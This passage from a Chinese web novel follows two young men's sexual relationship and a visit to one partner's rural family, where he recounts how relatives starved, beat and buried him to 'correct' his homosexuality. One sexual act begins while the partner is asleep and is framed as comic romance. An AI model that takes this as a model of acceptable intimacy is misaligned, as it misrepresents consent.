下巴上的手试探着松开见姚粱没有躲开的意思彻底放手了,姚粱眼都不眨的定定看眼前一幕,浑身紧紧绷着,果不其然,下一秒熟悉的电流再次接通,他下意识浑身僵硬着挣扎了下,双手被束缚在椅子上带着椅子一动发出铁器摩擦的刺耳声音。 椅子被从侧面一脚踹翻,他整个人限制在椅子上没法动弹,颇为狼狈的被迫跟那把不知道坐过多少人的椅子躺在地上,一道劲风跟着棍棒狠狠朝姚粱砸下来,虽然大半砸在椅子上但胳膊依旧被扫到瞬间就麻到失去所有感觉。 “去你妈。” 姚粱听见自己骂,“我去你妈。” 那人吐了口唾沫朝躺在地上的姚粱过来,一只手拎着椅子抵着姚粱强迫他跪在地上,作势欲打——下一秒却被困住姚粱双手的铁链套住了脖子,那双手腕鲜血淋漓却依旧不肯松劲,眼前人被勒的满脸通红直翻白眼。 他显然低估了眼前的孩子,轻视了被断水断食几天后又电击的孩子。 姚粱痛的麻木,双手好像都不听自己使唤只知道自己要用力再用力,眼前被勒着的人却突然消失了,一直在用力的胳膊收不住劲突然失去目标猛的闪了一下。 姚粱猛地睁开眼睛,定定的盯了雪白的房顶几秒,又慢慢扭头看了眼旁边睡着的刘广白几眼才收回视线,用力闭了闭眼睛去拿放在一边的手机,却发现睡前还剩四十电的手机现在居然自动关机了。 他现在懒得厉害,并不想下去拿充电器,也不再打算看现在到底几点,再次闭眼酝酿睡意。 他最近总是这样,要么做各种稀奇古怪的梦,要么就感觉被鬼压床,每次做完梦都累的厉害,还不如被鬼压床,至少目前为止鬼压床后从来没做过什么梦。 他心情很不愉快,躺在那里闭着眼强迫自己继续睡觉,本来以为心里压着事今天应该不会睡着了,没想到居然很快的,他就有了睡意。 …… 姚粱身上又开始麻,像是被人坐在胸口,整个心脏都被束缚着闷的他喘不上来气,这次他很清醒的知道自己陷入了鬼压床,这次的感觉比以往每次感觉都更加清晰强烈。 趴在身上的玩意儿抱住了他,大概过了十几秒这种感觉才减轻,那玩意儿不知道在干什么反倒让姚粱有所不安,他用力的想睁开眼睛看看外面,好半天也才睁开一条缝。 睫毛下垂有所遮挡视线,那条小缝更什么都看不清。 他甚至想直接就这么睡吧,这个鬼爱怎么压怎么压,但还是不死心的再次试了下,胳膊用力却像是被焊在床上纹丝不动。 姚粱:“……” 随便吧,有本事杀了他。 胸口再次被压住,本来在欢快跳动的心脏被压的都快跳不动了,姚粱只觉得自己马上就要断气,每呼出一口气都比上一口费劲,在他即将感觉自己要被憋醒的时候胸膛上的压力再次一松,无法醒来他只好浑身紧绷着等着这个鬼的下一步动作。 毫无征兆的,湿软甚至有些冰的舌头舔上了他的嘴唇。 姚粱:“!!!” 他整个人陷入了一片空白的呆滞,趴在身上的鬼似乎爱不释手,来回舔完又细细的亲。 姚粱实在难以忍受的皱起了眉,有种想一拳打死身上这个鬼的冲动,再次尝试想动作依旧无果气的他肝疼。 嘴几乎被里外亲了一边,那鬼还咬着他的嘴唇吮了几下。 这几下搞的姚粱头皮发麻,活这么大想死的几次全是在这个破世界。 终于在他即将爆发时鬼终于离开了,身上突然的轻松让他以为今天的鬼压床已经结束,被色鬼亲了嘴他恶心的要命,既然鬼压床已经结束他想再次尝试醒过来。 醒不过来。 ……还没结束? 鬼不压着他,也不动静,时间几乎久到无法动弹的姚粱再次酝酿出睡意,那东西又动了。 那玩意儿好像在扯他的衣服,准确的说是在扯姚粱睡裤的抽绳,晚上本来就是随便系一下特别宽松,或许只过了两三秒,姚粱感觉一凉。 姚粱:“……” 色鬼的目标特别明确,拉下睡裤就直奔自己的目的地去了。 姚粱头皮发麻,鸡皮疙瘩起了一身,寒毛也立了起来,想到身上这个是个鬼更难过了,觉得还不如前段时间从四楼摔死算了。 “996!!!”再不叫姚粱今天就要死在这儿了,他叫996的编号浑身都在用力,甚至喉咙里都发出了一点含糊不清的声音。 耳边响起沙沙的声音像是接触不灵,但这声音无疑给了姚粱一点希望,沙沙声里伴随着一点含糊不清的字眼,他屏息凝气的去听,那点沙沙声突然断开了。 姚粱:“……” 姚粱不由得悲从中来,觉得自己还不如跟刘广白,好歹对方漂亮,还是个人,有的时候还挺让人顺心,反正怎么着都比跟一个色鬼来的强。 他都快崩溃了,某个地方却不听他大脑使唤,姚粱只想锤床。 他想起刚才冰凉的舌头没忍住打了个哆嗦,下一秒却感受到了某个温热的地方。 一直被束缚着难以清醒的身体像是被按下了开关,姚粱猛的睁开眼,还没坐起来手就握成了拳头,管他到底是个什么鬼打到打不到先来物理超度一下。 想了想又怕被咬到握好的拳头又成了巴掌,先把鬼拽开再说。 上半身被撑起,手已经摸到了头发,姚粱还沉浸在悲愤中,一天到晚防着刘广白怕他偷吃结果鬼压床被鬼给偷吃了。 等会儿…… 姚粱很懵的对上那张染了蓝色头发的漂亮的脸蛋,因为太过瘦脸颊都鼓鼓的,看起来异常专心致志。 “刘广白……?” 第63章 第六十三章 偷吃 “嗯?”刘广白含糊不清的答应了声, 空出一只手摸摸姚粱那只已经抓住他头发的手腕示意他放开。 姚粱捂着眼睛一句话说不出来了。 他不知道该庆幸眼前至少是个人还是该生气防来防去到底被刘广白给吃了。 他又崩溃又痛,生怕稍微一碰刘广白一直在磕碰他的牙齿控制不好直接给他咬了,叫天天不应叫地地不灵, 他也没脸叫996。 更崩溃的是他还真有感觉。 姚粱:“……” 细细密密的声音不断传到耳朵里,姚粱本来就是个初哥,刘广白技术再烂这种生理和心理上的双重刺激都在不断的挑战着姚粱的神经。 他额头青筋突突直跳, 有点忍不住,但又觉得这么快就忍不住太过丢脸, 咬着后槽牙忍耐了一会儿还是觉得不行,蜷缩着腿一只手去抓住刘广白的头发, 一只手掰着他的下巴想把他拽开。 这动作一瞬间让他幻视在掰吃了不该吃的东西的狗嘴。 姚粱:“……” 刘广白不太情愿, 反倒吮了下, 这动作逼的姚粱更加强硬了点, “松嘴刘广白, 快点。” 刘广白好像很听话的松开了嘴, 但却暂时没离开,像是撑不住自己身体一样用脸靠着姚粱的腿外头亲了亲, 然后才用纤细的胳膊撑住床跪坐起来,他嘴唇上水润的要命, 刚刚分开发出了一点轻微的声音,连忙用另一只手捂在下巴下面怕掉在床上。 姚粱好不容易脱离魔掌伸手去捂, 捂了一下觉得这动作实在不太对,故作坦然的准备下床, 就被刘广白动作极其迅速的坐在了身上。 来了……那种窒息的感觉又来了。 他嘴唇亮亮的,本来就红的嘴唇现在更红了,还有点可疑的肿,眼睛也亮亮的, 圈住他的脖子作势就要亲。 姚粱发誓用了这辈子最快的手速立马捂住他的嘴,“你刚才干嘛了就要亲我。” 捂住后他居然开始庆幸刘广白幸好是先上后下,而不是先下后上。 不然这样他真的会破大防。 被捂住嘴唇刘广白也不强求继续亲嘴,嘟起嘴反倒亲了亲他的掌心,“你行呀,你很行呀,这么行。” “我好喜欢你呀。”刘广白特别黏糊的依偎在姚粱身上,“你真的好香。” 姚粱不由得腹议:你这哪是喜欢我,是喜欢*。 果不其然,刘广白下一句就是夸赞,动作神态极其真挚,“你好大呀!” 姚粱:“……” 谢谢,真的没有必要。 刘广白却特别兴奋,压着姚粱不让他动,伸手把手机捞过来解锁给姚粱看自己收藏的商品,“这个qqny我看中好久了,我买回来穿给你看好不好?这个丝袜也好,一扯就破……” 姚粱:“……” 刘广白好像根本不懂什么是害羞,言辞极其奔放行为极其大胆,姚粱只好板着个脸不说话,但耳朵马上就要着火了。 天可怜见他要是不家里蹲应该正好是大四毕业的学生,还是个单身到这么大的童子鸡,家里蹲两年几乎断掉了所有社交,家里看的紧的要死哪接触过这种小男生。 姚粱:“……你别说了,别说了。” “不说了不说了。”刘广白再次把手机一扔朝后伸手毫不犹豫一抓,“那继续。” 姚粱急眼了,“你说吧你说吧。” “不说,明天再说。”刘广白抓住了哪有松手的道理,稍微往后挪了点身体另一只手还扶着姚粱的肩膀,腰稍微塌了点,已经解开了一个扣子的睡衣顺着动作露出一片白花花的胸脯。 姚粱又闭上眼了。 “你别闭眼。”刘广白见状很不满意的询问,“我身材不好吗?我练了好久。” 姚粱就是闭着眼不吭声,活像老僧入定,给刘广白搞的更不高兴了,本来往后挪的身体再次移了回来,拉着他的手让他解自己的睡衣扣子,那双手软绵绵的就是不肯使劲,但也没拒绝。 刘广白停下动作眨了几下眼,突然有点get到这位童子鸡的坚守,也不再磨蹭自己一只手利索解开扣子把姚粱的手塞衣服里了。 两只手还是软绵绵的放在刘广白的腰侧,他也不介意,用力抱紧姚粱的脖子把自己整个人都挂上去,将身体贴到最紧。 过了十几秒,或者是几十秒,放在腰侧的手慢慢把他抱住了,刘广白悄无声息又有点得意的笑了下。 那双手越抱越紧,直到把刘广白挤出一声气音才如梦初醒般松手。 刘广白个子不高,现在这个姿势也只比姚粱高小半个脑袋,很容易就能亲到嘴巴,姚粱不知道在想什么,嘴巴嫌他刚做过别的不肯亲就算了,脖子也不亲,那个嘴巴像是摆设,反倒是手十分从心的摸来摸去。 手上的触感跟他想的骨感并不一样,看着瘦,身上却是那种不明显的肌肉,腹部是马甲线,不管形状还是手感都极其好。 姚粱一边在心里骂自己一边从心的摸。 居然有点诡异的爽,他实在没想到自己这辈子头一次摸小男生的腰居然是这种情况。 天地作证,996也作证,是刘广白拉着他的手要摸的,他还是特别正直的人。 那截脖子老在眼前晃,浅浅的锁骨藏在没有完全敞开的睡衣下若隐若现。 姚粱:“……” 姚粱盯着看了几秒,又万分唾弃自己的眼睛随即沉默了。 一直抱他很紧的胳膊突然动了动,一只手突然摸上了后脑勺,动作并不算强硬甚至可以说是很轻飘飘又温和的扶住了,那只手把他往前推,刘广白仰着脑袋露出脖子也朝他靠,本来就近的距离不需要怎么靠近几乎就要贴住。 姚粱的鼻尖率先顶住了那截细细的脖子,呼吸间全是刘广白的味道,脑袋后面那只手在贴上的时候就已经撤开了,姚粱就保持这这个动作安静了一会儿,脑袋稍微歪了一下嘴唇就贴上了这截看了很久的脖子。 贴上他下意识亲了下,却发出‘啵’的一声很大的声音,本来有点大胆的姚粱听见这个声音顿时又不动作了。 “亲呀。”刘广白小声催促,“喜欢你亲。” 脖子挨到柔软的嘴唇被接连不断的亲吻有种莫名的让人心软的感觉,说不出的舒服和亲近,姚粱好几次忍不住重重吸了几下,咬着他的肉磨了磨。 耳边刘广白时轻时重的呼吸是一种别样的鼓励,姚粱把脸埋进他的脖子里再次深深吸了口气。 …… 单薄的睡衣挂在身上要掉不掉,刘广白的脑袋顶在姚粱肩膀上抖着呼吸,他紧紧抓着姚粱的胳膊吸了几下鼻子。 刚刚爽完有点进入贤者时刻的姚粱觉得脸又烫起来,但手上的动作还是不含糊,而刘广白一直发出哼哼唧唧的声音,这声音不停的在耳边响,姚粱甚至有点想亲他,但依旧还记得他之前干了什么。 他实在嫌弃自己。 没得到亲吻的刘广白很不满意,主动凑上来亲亲他的鼻尖,一下下只亲这里。 姚粱:“……” 草…… 姚粱悄无声息爆了个脏,实在燥的要命有点控制不住自己的嘴,想往上凑的时候反倒被躲了下。 姚粱:“?” 他眨了下眼,被烧的过载的脑子才后知后觉的察觉出来刘广白躲开了他的吻。 本来还有点犹豫的动作顿时变得利索起来,还专门空出一只手去捞住刘广白的后颈。 等嘴唇真贴上的时候姚粱又不动了,他记得鬼压床那会儿刘广白伸舌头了吧。 那他是不是也可以……? 这么想着还来不及付诸实现身上的刘广白动作很着急的舔着,姚粱也不再犹豫这个那个的吮了下夺回了主动权。 第一次接吻异常青涩,姚粱能明显感觉到两个人都在这里来回互相试探。 都不会舔来舔去甚至有点好笑,但也有点说不出的直接刺激大脑的爽。 ……不是,亲个嘴怎么这么爽啊。 手上动作停了一会儿又重新落上去,现在反倒是刘广白躲姚粱追着亲,他太轻了,姚粱一只手就能轻轻松松把人抱起来,刘广白一直躲搞的他亲不到干脆抱着人直接压在床上。 前面是姚粱后面就是床想躲都没地方躲。 接吻的声音里掺杂着刘广白爽到的哼哼唧唧的声音又尽数被姚粱吞下。 几秒后姚粱把手抬起来,直接伸手擦到了刘广白要脱不脱的睡衣上,轻轻松松扯下去直接扔在地上。 他依旧挂在姚粱身上,第一次被别人摸刺激太大,刘广白现在脑子都嗡嗡的响,控制不住的要亲近一点,恨不得像个小猴子一样全抱着才好。 也不知道是有意还是无意,宽松的睡裤落下露出小腿,他直接抬起腿夹着姚粱的腰,手上依旧抱着脖子。 这动作其实本来不算有什么,但姚粱现在敏感的神经受不了这个,干脆捞着他的腿又往低压了压。 明明什么都没做就被夹了下腰他也爽的要命。 于是把脑袋埋在他的脖子里,伸手挤进腰和床挨着的地方再次把人兜进怀里保持这个姿势亲起来。 他不松嘴,觉得脑子有点晕晕乎乎,被刘广白用力推了几下才顺着力放开。 刘广白的嘴唇已经不能看了,被蛮力亲了半天肿的不像样子,二十出头的人浑身全是蛮劲,一身劲从没往别的地方使全发泄在他身上了,把他像个bjd娃娃似的摆弄来摆弄去。 光亲就压着亲抱在怀里亲让他坐在腿上亲……几乎里里外外全亲了一遍。 刘广白的嘴唇被咬的有些疼,感觉像是被蜜蜂蛰了甚至肿的发亮,捂住嘴巴对上姚粱很欲求不满的眼神不给亲了。 他有点没头没尾的开口: “不吃你了。” 第64章 第六十四章 耀祖是男同 新的一天活力满满, 996浑身都是干劲,最近任务进度涨势良好它高兴的要死,起来第一件事就是跟宿主说早上好。 只是他的宿主为什么看起来一点都不好……? 宿主像是根本没有听到它的问候, 呆呆的躺在那里一副神飞天外的样子,还时不时低头看一眼攀在他身上睡的正香的刘广白,神情极度挣扎, 看起来很想做点什么又不太好做的样子,要不是刘广白就在他身上挂着怕是要自己在床上蛄蛹。 996不说话了, 悄悄待在一边观察,只见姚粱用手指蹭了蹭刘广白的脸, 一次比一次用力试图唤醒对方无果, 最终像是忍不住一低头——996眼前就出现了一堆马赛克。 996:【???】 一个晚上没看发生了什么? …… 姚粱用力的亲他, 按着刘广白的腰让他更紧的贴上来。 那两瓣柔软的嘴唇像是有什么魔力, 一直吸引着姚粱亲上去, 就昨天亲了一次他就像是上瘾了一样满脑子都是亲亲。 还睡着就被人亲来亲去刘广白发出一点不满的声音, 偏了偏脑袋扯扯被子试图把脑袋捂住不让姚粱打扰,却不想被子早被姚粱用一只腿压住拽都拽不动, 在被姚粱亲了十几分钟后他终于清醒了。 被子还有一小半挂在身上,昨天晚上新换的睡衣又被揉的乱糟糟的, 姚粱像鸡啄米似的不断的亲,睁着眼睛清醒的刘广白弯起嘴角笑了下, 恢复了活力又变得热情起来,主动抱住姚粱的脖子回吻。 昨天亲了好久的两人终于摸到一点技巧, 今天刚一开始就亲的粘腻又亲昵。 两个人都是二十出头的年轻人,初次接吻后都让两人感到新奇和上瘾,唇齿交接间暧昧升腾,舌头上神经末梢极其丰富, 触觉刺激传递到大脑清楚明白的告诉两个人愉悦两个字。 年轻气盛从来没有过类似经历更容易被挑逗,刘广白还不断的在旁边夸夸他说他真厉害,姚粱边脸红边飘飘然更精神了。 虽然昨天晚上也挺爽的,但姚粱最开始惊恐是真惊恐,后面又开始兀自陷入自己的内心挣扎挣扎了好一会儿,真的专心致志觉得爽的反倒是后来亲嘴。 晚上睡不着自己回味一会儿才觉得悔恨的捶胸顿足,早知道、早知道…… 今天他好早就醒了,醒来就盯着刘广白看试图能把他盯醒,自己苦苦忍了好一会儿越忍越想,终于按捺不住先抱着人亲一会儿。 很快就亲出感觉他顺理成章的沿着刘广白宽松的裤腿往里摸,裤腿再次被撸上去露出一截白嫩的腿,姚粱甚至觉得自己有点含蓄的开始亲亲腿然后咬一咬。 刘广白清楚他想摸哪,可又不好意思只好从裤腿里开始摸,并且特别含蓄的摸来摸去就是不往重点地方摸,只好张着嘴喘气朝他主动拱一拱,“你摸摸我。” …… 闹了半天虽然没做到底但两个童子鸡也都爽到了,冲了个澡又回去睡了一觉等中午才醒,今天中午点了一家铁锅炖的外卖,吃着吃着刘广白突然开口,“你记不记得我之前说带你回老家气爸妈,咱们回去吧?” 虽然有点突然但姚粱自己本来就没有事情做,稍微思考了下就嗯了声,“什么时候?” “明天。” * 走之前姚粱很轻松,甚至打算带两个行李箱,被刘广白很含糊的劝下了。 最近他亲爽了,甚至都有点不管不顾任务的亲,刘广白也亲爽了,嘴就没消肿过还不管不顾的亲,没人亲,在家亲,车里亲,去卫生间也要亲几下,姚粱现在也不太介意刘广白在他洗澡的时候进来,倒也不是想做什么,就是紧密接触贴一贴亲一亲爽的要死。 路上飞机票车票这次都是刘广白全权管的,然后同步在姚粱自己的手机上,要坐四个多小时飞机到V市,然后再坐两个来小时火车到T市,还有一个多小时的路程再到XX镇。 算下来差不多是晚上六点到,也不算很迟。 去家长家里其实应该买点东西回去,但对于这种各种娣和耀祖家庭想必也不是很欢迎他,他也跟这种父母聊不来,干脆空手就带着点行李一身轻的上飞机了。 姚粱活这么大其实没在路上耽搁过多么长时间,就连他上大学那两年学校都在自家对面,到校门口也就十分钟的路,这次在飞机上刷新出的是轻度,全程就靠他照顾刘广白了。 等一路转车到了眼前这个小镇姚粱难以克制的沉默了,这个点到处走的有回家的大爷大妈,还有出来炸街的精神小伙,刘广白穿着一件掐腰露着半个肩膀的上衣,头发染成蓝色,确实很漂亮,但也确实是个男生,毋庸置疑的走一路迎接了一路注目。 姚粱:“……” 姚粱刚来已经不想待了,刘广白倒是淡定的厉害,扯着姚粱的衣服带他去街边停着的摩托车那里问价,简单用当地方言沟通几句后就让姚粱先上车。 刘广白紧随其后坐了另一辆摩托车,摩托车发出轰鸣声立马朝着一个方向行驶逐渐远离了两个人刚才待着的小镇。 越走路面越不平整,甚至水泥路走着走着就变成了土路,本来就难走的路现在变得更加颠簸,最主要的还是各种弯特别多,姚粱简直想不到下个弯会是怎么样的。 走着走着旁边就像是悬崖一样塌下去,只有这条窄窄的路高一点,有的时候路过的地方也能看见有人家烟囱上冒出的烟。 直到路过好几个村子摩托车才拐进其中一个,这个点或许都在家吃饭,外面并没有人坐着聊天,姚粱粗略观察了下发现这种地形几乎是一家高一家低,你正在走的路旁边就是另一家的院墙,要是低着头玩手机不注意还没准真的会一脚踩空从人家墙上摔进院子里。 摩托车终于停在一处院子门前了。 姚粱看着这个院门稍微皱了下眉,试探着开了下却发现不知道哪里别住打不开,就被刘广白轻轻推了推,对方使了个巧劲轻轻松松就把门打开了,站在门口的两人立马跟在院子里端着铁盆正要倒洗菜水的女人对上了视线。 女人表情极度奇怪,张了几次嘴什么都没说出来,还是屋子里的人看女人半天没回去才出来找。 “不是妈你干什么啊,一家子人等着吃饭呢?” 出来的女孩很漂亮,还跟刘广白有点像,但画着夸张的卧蚕染着一头露出黑发根的黄毛,穿着一个裤裙,表情很不耐烦,但当顺着女人的视线看见站在门口的刘广白时那种不耐烦就化成了直接又没有丝毫掩饰的厌恶,直接给刘广白大大翻了个白眼,“我说怎么不回来,原来是我们家耀祖回来了,不赶紧上去抱抱你的亲亲仔?” 她说完就一撩门帘进去了。 刘广白轻声介绍了句,“这是我妈,那是我五姐,想娣。” 眼前的场景实在是没法说,姚粱只好干巴巴的嗯了声。 拼了七个孩子才拼出一个耀祖的妈看着却并不热络,甚至有点说不出的……恐惧? 她很勉强的跟刘广白笑了下,“回来了,回来进来吧?” 刘广白也不接茬,拉着姚粱的手就往里走,那个女人的表情下意识更加难看起来。 一进门姚粱就看见床上躺着个晒的黝黑的男人,一屋子臭脚味和汗味,还有刚才的一副精神小妹装扮的老五想娣,还有一个看起来更小一点的女孩他估计应该是那个老六有娣,除此之外床上还坐着个看起来应该三十多的女人,眼眶上还有点青。 姚粱再度陷入了沉默。 床上那个应该是他老子,见刘广白进来还是这副装扮下意识坐起来就瞪眼,“什么样子!你带谁回来了啊!” 他想吼,刘广白却轻飘飘看了他一眼,这一眼不知道让他想起了什么记忆,居然老老实实坐在那不动了。 想娣看见这场景又是冷笑一声没说话,刘广白却主动跟她搭了句话,“三姐怎么了?” “怎么了?”老五对他的态度恶劣的不像个样子,“嫁出去生不出儿子被男人打了呗,连着两个丫头都被打。” 想娣扬起声音,“赶紧把俩闺女都改成招娣念娣,说不准也能招来个男同耀祖!” 男人这下都站起来了,吹胡子瞪眼,“你就纯属咒你三姐!等你嫁出去……” 这话一说想娣不跟他干了,立马抄起放在菜案上的菜刀跟他比划,“行啊!那我嫁之前先给你脖子抹了!” 他老子更生气了,往那一坐就拍大腿,“来,你有本事把你老子今天就杀了!” “我没本事你有本事!”想娣立马破口大骂,“你太有本事了,生六个丫头好不容易生个带把的儿子还喜欢男人,你个断子绝孙的!” 她好像尤嫌不够继续拿他最在意的地方继续补刀,“你儿子!传宗接代的耀祖是男同!” “我说耀祖是男同听见没?!” 第65章 第六十五章 我差点被打死 这顿饭吃的鸡飞狗跳, 主要战斗力就是刘广白的五姐,以一敌多还大获全胜。 但最让姚粱想不到的是他今天居然能坐在刘广白家里吃饭。 毕竟照他的预想没有被打出去就是好的了。 家里一直维持着一种诡异的气氛,刘广白倒像是浑然不觉, 吃完饭把碗筷一放再次介绍了一遍姚粱:“这是我男朋友。” 刘父:“……” 刘母:“……” 想娣直接翻了个白眼,她吃完一碗饭就扯着刘广白的三姐去另一个屋子睡觉去了,这间屋子就剩了四个人, 姚粱和刘广白都还好,两个父母的表情和动作反倒是奇怪极了, 安静了好一会儿刘母才率先问,“你今天在家住啊?” “我不在家还能走?都几点了, 我回来看你们不高兴啊?” 刘母干巴巴笑了下, 刘父全程黑着脸不说话。 预想中跟他父母大战的情况并没有出现, 姚粱满嘴刻薄也没地方使唤, 打好满腹腹稿也没用上, 坐在那里居然有种不知道该干什么的感觉。 刘广白或许也注意到了, 随便跟他爸妈说了句就带着姚粱出来了。 …… 姚粱不认识路只好一直跟着刘广白走,夏天晚上很多吃完饭出来乘凉的, 他们一路上就遇到不少,也受到了不少奇奇怪怪的目光——确实, 在这群人眼里刘广白一个男生穿着露肩装无疑是非常奇怪的。 刘广白和姚粱也毫无意外的会成为茶余饭后的闲话对象,不过很可惜的是, 这两人都是不在意闲话的人,闲话一点都攻击不到两个人。 他跟着走, 就来了一个看起来特别开阔的地方,正中间摆着木制的东西,上面有一樽像,姚粱不太认识就去看刘广白。 刘广白丝毫没有敬畏心的用手指了指那个像, “我们这个村子大部分都姓刘,各家各户再远也稍微沾点亲戚关系,这种地方宗法更严一点,有人做了他们认为不该做的事情就会被带来这儿惩罚。” 他轻飘飘笑了下,“再往前推个几百年宗法大于国法这个地方没少被打死人。” “这上面这个就是所谓的刘姓祖宗。” “我差点被打死在这里。” …… 刘家最近安静的可怕,可村子就这么大,谁家有点事都瞒不过别人,一传十十传百总会都知道。 人们吃完饭来坐着都在说刘家,说他们家那个老幺喜欢男的,说那个老幺被饿了好几天还不肯松嘴还打算跑半道被村长家的儿子逮了回去,又说那个老幺是他老子娘生了七个孩子才生出来的男孩从小舍不得动一个手指,这下他老子是动了火,皮带打断几根,惨叫声左邻右舍都听得见。 “我以前就想这个老幺不对劲,大家都是亲戚没好意思说。”女人拿毛巾边擦手边皱着眉。 其余坐着的女人七嘴八舌的问哪不对劲,那女人微微笑了下,似乎对周围人这么围着她很满意: “你看他们家小子,哪有一点男孩子的样子嘛,性子跟个女娃似的,个子那么小那么瘦,还爱跟女娃玩。” 另一个女人呸了一口,“我看就是老刘没那个儿子的福分,说不准他们老幺就是女娃,就是投错身了而已。” 众人都觉得说的有道理,纷纷七嘴八舌的附和起来,另一个女人恨恨的,“他家老幺老跟我大儿一起玩,别是看上我们耀宗?”她说完自己就打了个寒战,说着就要回去,走之前顺便再把老刘家骂了半天,“不好好教儿子,刘家怎么有这么个后代,不行,我得回去问问我儿子那老幺有没有动手动脚的,我们耀宗诶!” 她这么一说这一圈有儿子的也骂了几句准备回去问问,家里没儿子的冷笑几声等那些女人走了又开始说她们的闲话,“人家老幺对她们儿子动手动脚?别是自己儿子就喜欢男的。” “是呗。”另一个女人眼里带着深深的厌烦和恶意,“会生儿子了不起啊,成天跟个母鸡似的到处转,生怕别人不知道她们会下蛋!” 剩下的人又嘻嘻哈哈笑了起来,她们坐的离刘家不远,当家里面传出愤怒的咆哮的时候当然也听的清清楚楚,一个两个立马站起来伸长脖子去看,生怕漏看了什么谈资。 …… 饿了好几天刘广白一点力气都没有,甚至也不明白自己到底错在哪里,他隐隐约约知道自己喜欢男生似乎是不应该的,但就是没想到从小对自己万分宠爱的父亲母亲听了这个就变脸,在他的预想中从小舍不得让他做任何事的父母哪怕会生气也不会对他怎么样。 可现在他身上作痛的伤口却告诉他事实并非这样。 他觉得父母陌生的可怕,跟在自己面前的样子一点都不一样,母亲哭,父亲在吼,爷爷奶奶在骂母亲,在这几天姐姐们发出一点声音都会被无理由的骂。 他实在没力气,但好歹有水,只好把水当饭用来充饥,可他又不敢喝太多,每次喝多总有种呕吐的冲动无法抑制。 关着他的房间现在异常的安静,刘广白在这种环境下有些昏昏欲睡,但心里也莫名其妙有种警惕。 这种安静并没有持续多久,很快他的房门被暴力打开,五姐想娣跟着妈妈走了进来。 说是姐姐其实并没有比他大多少,甚至只有不到两岁,勉勉强强刚迈过十八岁的坎。 想娣表情也有些不安,更多的是迷茫,被母亲按着坐在床边,母亲就特别温和的过来从怀里掏出饼子给他吃,“你吃吧,你爸不在。” 眼前的母亲又恢复了那副他熟悉的样子,这无疑让他降低了警惕,立马接过饼子狼吞虎咽的吃了起来,母亲坐在一旁像是在跟他闲聊,“你就不能喜欢女孩子吗,明年妈就给你娶个媳妇,你好好过日子。” 刘广白嘴里塞的慢慢的不回答,他没法看母亲红红的眼睛和失望的表情,只好低着头。 “你是男娃呀!”母亲声音大了点,“你怎么能喜欢男娃呢!你,老刘家全靠你传宗接代了,你这样让你爸出去都抬不起头。” “妈,我好好念书。”刘广白喝了一大堆水把饼子顺下去,“我好好念书妈,念完书我带你们去城里,咱们不在这儿待。” “你真改不了?” 刘广白只是低着头,“妈,我好好念书。” 听到这个回答的刘母脸上最后一点刻意的温和也没有了,立马招呼,“想娣,来,给妈按着你弟弟。” 想娣表情异常为难,并不想伸这个,但刘母披头散发,看起来状态极其差劲,“想娣,你就看妈这样天天求你弟弟?” 想娣不吭声了,弱弱上来按着刘广白的一条腿,她没见过有男的会喜欢男的,也不知道是对是错,但妈一直都很可怜,自从知道弟弟喜欢男的就更可怜了,家里谁都能骂她,她心疼。 刘广白被按住用绳子绑住手的时候还异常不可置信,现在的母亲跟他所认识的没有一点想象,表情极度狰狞,几天没吃饭又没怎么干过活的人当然挣扎不过一个生活在农村总是干农活的妇女,没有几下就被绑了起来,刘广白以为自己又要被打了,没想到母亲居然对一旁的五姐开口,“来,想娣,你帮帮你弟弟,你也帮帮妈,你弟弟他不能喜欢男的,妈十来年就生了这么个儿子好不容易抬起头了,现在妈的脑袋真没法抬起来。” 想娣不知道该怎么帮弟弟,也不知道该怎么帮妈,但母亲的下一句话直接给她砸懵了。 “你帮你弟弟当个男人行不行?” 她虽然在问行不行,但却没有丝毫询问的意思而更多的是强制,伸手就要去拽想娣。 想娣尖叫一声就想跑,直接被吓的哭个不停,她也是干农活长大的,力气并不小,心力交瘁的刘母还真一时半会儿没能抓住她让她给跑了。 想娣跑了刘母并不着急,只是站在那里喘气看起来情绪极其激动,果不其然没过几分钟想娣就被一直守在外面的刘父拖着手腕拽了回来,想娣整个人都蹲在地上试图稳住身体不被拽走,但依旧被拽回了房里,哭到不行开始对父亲上嘴咬,刘父彻底被激怒了,立马反手就是一个巴掌。 粗糙全是老茧的巴掌立马把想娣扇的几乎失去意识,他气急败坏的骂,“老子养你这么大都没把你嫁出去,你不看看你几个姐姐都是多大嫁出去的,吃老子的喝老子的在家享福,现在你弟弟有事都不肯帮家里,怎么养出你这么个白眼狼!” 被扇的失去意识的想娣被刘父连拖带拽的拽上床,床上的刘广白恶心的几乎要吐出来,恍然间突然又明白了点什么,看着眼前的父母眼里都是遮掩不住的厌恶,刚才混着水吃下去饼子好像全卡在嗓子眼,他控制不住一偏头呕的一声全吐了个干净。 两人一点停下的意思都没有,刚才被扇懵的想娣现在又挣扎起来,被束缚着的刘广白也挣扎个不停,刚才趁机一直在尝试解开的绳子终于松了点,刚刚得到自由他几乎是靠一口气撑着的蛮力从床上连滚带爬的下去,手边抓到什么用什么砸他们,拎起一直在那里摆着的木凳就朝父亲砸了过去。 几乎是瞬间就见了血,黝黑的皮肤上血流下来特别触目惊心,刘父像是只被惹怒的狮子,在那里跳脚不停的吼,愤怒几乎冲昏了他的头脑,他不管不顾的拽起刘广白就往外拖。 粗糙的路上全是土和碎石子,刘广白被暴力拖着双腿一直在地上被拉着走,慢慢在路上留下一条血混着土的痕迹,等到了供奉祖宗的地方那条裤子已经破的不像样子。 被扔在那里的时候刘广白耳朵嗡嗡响,刚吐完连爬起来的念头都没有,耳边只隐隐约约听到父亲说什么列祖列宗之类的话,很快就有皮带再落了上来,太过密集的鞭打让他很快反应过来打他的人不止一个,勉强抬了抬头发现就是各种亲戚家的男人,大多都是他能叫得上认得出来的。 不知道是谁先动了棍子,刘广白觉得喉咙里有东西满满的,却什么都吐不出来,这下连出气都感到费劲,他不知道过去了多久,或许也没有多久,围着的人们总算散开了,他的老子把人往起一提,刘广白却软绵绵的又垂了下去。 上涌的怒火早已平息,他抖着手试着探了探鼻息,发出了今天第一声类似惊恐的叫声。 …… “总之当时打完我以后,那群人你推我我推你,谁都不肯认松手了,然后我爸也没办法,后来就把我给埋了。”刘广白说的时候甚至还带着点微笑,“然后晚上我就爬回去了,得亏埋的浅。” “他们以为我死了又活了才爬回去,所有一直很怕我。” 姚粱笑不出来,甚至有种诡异的共鸣,各个地方都在发生这种所谓的矫正,无非就是方法的不一样罢了,毕竟他也曾经历过方法不同但目的同为矫正的行为。 